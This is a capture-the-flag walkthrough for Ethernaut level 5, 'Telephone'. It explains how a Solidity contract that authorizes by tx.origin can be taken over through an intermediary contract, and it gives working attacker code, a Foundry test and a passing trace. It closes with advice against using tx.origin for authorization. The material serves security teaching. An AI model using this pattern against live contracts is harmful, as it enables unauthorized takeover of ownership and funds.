CTF walkthrough, Ethernaut, #5 Telephone

We need to claim ownership of the contract below to complete this level:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

Analysis

The changeOwner function requires that tx.origin != msg.sender.

We know that tx.origin always refers to the EOA (externally owned account) that started the transaction irrespective of the stack of contracts invoked:

%%{init: {'theme':'neutral'}}%% sequenceDiagram actor P as Player participant A as Attacker participant T as Telephone P->>A: new() activate A P->>A: run() A->>T: changeOwner(msg.sender) Note right of A: msg.sender = Player Note right of A: tx.origin = Player Note right of T: msg.sender = Attacker Note right of T: tx.origin = Player deactivate A

Exploit

To exploit this vulnerability, we only need one intermediary smart contract:

contract Attacker {
    function run(Telephone level) public {
        level.changeOwner(msg.sender);
    }
}

This time we’ll use another startPrank function that takes 2 arguments and sets the tx.origin as well:

function startPrank(address, address) external;

See the Cheatcodes Reference for details.

function exploit() internal override {
    vm.startPrank(player, player);
    new Attacker().run(level);
    vm.stopPrank();
}

The trace:

$ forge test --match-contract TelephoneTest -vvvv

Running 1 test for src/test/Telephone.t.sol:TelephoneTest
[PASS] testTelephone() (gas: 306619)
Traces:
  [306619] TelephoneTest::testTelephone()
    ├─ [169662] TelephoneTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [157314] Ethernaut::createLevelInstance(TelephoneFactory: [...])
    │   │   ├─ [105751] TelephoneFactory::createInstance(player: [...])
    │   │   │   ├─ [73234] → new Telephone@"0x037f…dd8f"
    │   │   │   │   └─ ← 255 bytes of code
    │   │   │   └─ ← Telephone: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Telephone: [...])
    │   │   └─ ← Telephone: [...]
    │   └─ ← Telephone: [...]
    ├─ [303] Telephone::owner() [staticcall]
    │   └─ ← TelephoneFactory: [...]
    ├─ [0] VM::startPrank(player: [...], player: [...])
    │   └─ ← ()
    ├─ [50499] → new Attacker@"0xa2f9…f3a7"
    │   └─ ← 252 bytes of code
    ├─ [1159] Attacker::run(Telephone: [...])
    │   ├─ [544] Telephone::changeOwner(player: [...])
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4346] Ethernaut::submitLevelInstance(Telephone: [...])
    │   ├─ [1299] TelephoneFactory::validateInstance(Telephone: [...], player: [...])
    │   │   ├─ [303] Telephone::owner() [staticcall]
    │   │   │   └─ ← player: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: TelephoneFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 996.63µs

Summary

  • Never use tx.origin for authorization.
  • Use the msg.sender instead if you need to authorize a direct caller.

References


I’ll leave the code for this level here.

Let’s continue to the next challenge – CTF walkthrough, Ethernaut, #6 Token!